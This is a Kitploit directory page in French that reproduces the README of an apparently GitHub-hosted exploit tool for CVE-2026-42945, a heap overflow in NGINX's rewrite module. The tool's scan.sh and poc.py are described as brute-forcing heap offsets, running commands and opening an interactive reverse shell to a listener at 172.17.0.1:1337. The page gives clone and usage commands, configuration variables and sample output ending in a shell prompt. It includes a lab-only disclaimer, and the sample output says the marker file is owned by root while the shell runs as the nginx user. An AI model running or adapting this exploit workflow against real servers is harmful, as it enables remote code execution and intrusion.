Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42945_NginxRift — Automatise l'exploitation de CVE-2026-42945 dans les conteneurs NGINX : vérifie les cibles vulnérables, procède à une force brute sur les offsets du tas, exécute des commandes et ouvre un reverse shell interactif. | Kitploit
Outils/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionRed TeamingExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
kentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

Automatise l'exploitation de CVE-2026-42945 dans les conteneurs NGINX : vérifie les cibles vulnérables, procède à une force brute sur les offsets du tas, exécute des commandes et ouvre un reverse shell interactif.

Voir le dépôt
131il y a 1 moisPas encore vérifié

🚀 Automatisation du PoC NGINX Rift — CVE-2026-42945

Pilote d'automatisation de PoC pour l'exploitation RCE du conteneur nginx-rift · Vérification de la cible → Exploit en une commande → Reverse shell interactif

Shell Python Platform License

Une seule commande orchestre tout le déroulement de l'exploit — de la vérification du conteneur jusqu'à l'obtention d'un shell.


⚠️ Avertissement éthique et légal Cet outil est uniquement destiné à des tests de sécurité légitimes et autorisés — pentest contractuel, lab/CTF ou actifs vous appartenant. Toute utilisation sans l'autorisation du propriétaire du système est une infraction pénale (UU ITE, Computer Fraud and Abuse Act, etc.). L'utilisateur assume l'entière responsabilité de son usage.


📖 Résumé de la vulnérabilité

CVE-2026-42945 est une vulnérabilité Remote Code Execution (RCE) dans la configuration NGINX « Rift » — un bug heap-based buffer overflow dans le module ngx_http_rewrite_module déclenché via un bloc location spécifique (/api/users/...). L'impact permet à un attaquant d'exécuter des commandes via le handler system() dans le conteneur.

ÉlémentDétail
CVECVE-2026-42945
TypeRemote Code Execution (RCE)
ComposantNGINX (ngx_http_rewrite_module) — configuration « Rift »
DéclencheurRequête vers le bloc location vulnérable (/api/users/{id})
ImpactExécution de commandes arbitraires en tant qu'utilisateur worker NGINX dans le conteneur
Environnement de labConteneur nginx-rift-nginx-1 — port hôte 19321

Ce dépôt contient 2 composants :

FichierFonction
poc.pyPilote d'exploit — brute-force de l'offset heap, deux modes : --cmd (commande unique) et --shell (reverse shell)
scan.shOrchestrateur d'automatisation — vérification de la cible, exécution du PoC, vérification des résultats et session shell interactive

🏗 Flux de travail

┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ Prérequis système

Opérateur (hôte où le script est exécuté) :

  • Linux (bash) — testé sur Kali / Ubuntu / Debian
  • docker (avec sudo ou utilisateur dans le groupe docker)
  • python3 + poc.py (dans le même répertoire que scan.sh)
  • curl, nc (netcat), timeout (coreutils)

Cible (lab) :

  • Conteneur nginx-rift démarré (provisionnement via docker compose)
  • Port hôte 19321 ouvert sur 127.0.0.1
  • Conteneur connecté au bridge Docker (par défaut 172.17.0.1 pour le listener de l'hôte)

📥 Installation

# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh et poc.py doivent se trouver dans le même répertoire.


🚀 Utilisation

./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

Mode auto (par défaut)

  1. Preflight — vérification de toutes les dépendances.
  2. Vérification de la cible — conteneur démarré ? HTTP 200 ?
  3. PoC --cmd — écriture du marqueur hello from depthfirst dans /tmp/pwned dans le conteneur (nouvelle tentative automatique max 3×, timeout 300s/essai).
  4. Vérification du résultat — docker exec cat /tmp/pwned doit contenir le marqueur (ground-truth, pas simplement la lecture de la sortie).
  5. Invite passer au reverse shell ? → y pour une session interactive.

Mode shell

./scan.sh shell

Exécute poc.py --shell avec un listener sur 172.17.0.1:1337. Une fois le brute-force réussi, vous obtenez une invite /bin/sh interactive en tant qu'utilisateur worker NGINX dans le conteneur.

Remarque : l'IP 172.17.0.1 est l'adresse de l'hôte sur le bridge Docker par défaut. Si votre bridge est différent (docker network inspect bridge), modifiez la variable LISTEN_IP en haut de scan.sh.


🔧 Configuration modifiable

Tous les paramètres sont regroupés dans le bloc de configuration en haut de scan.sh :

VariableDéfautFonction
DOCKERsudo dockerRemplacer docker si l'utilisateur est déjà dans le groupe docker
PROJECT_LABELcom.docker.compose.project=nginx-riftFiltre d'identification du conteneur
CONTAINERnginx-rift-nginx-1Nom du conteneur cible
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321Adresse cible
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337Listener du reverse shell
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirstVérification de l'exécution
CMD_TIMEOUT300Temps limite par essai (secondes)
MAX_ATTEMPTS3Nombre de nouvelles tentatives du PoC --cmd

📸 Exemple de sortie

┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 Dépannage

Télécharger l’outil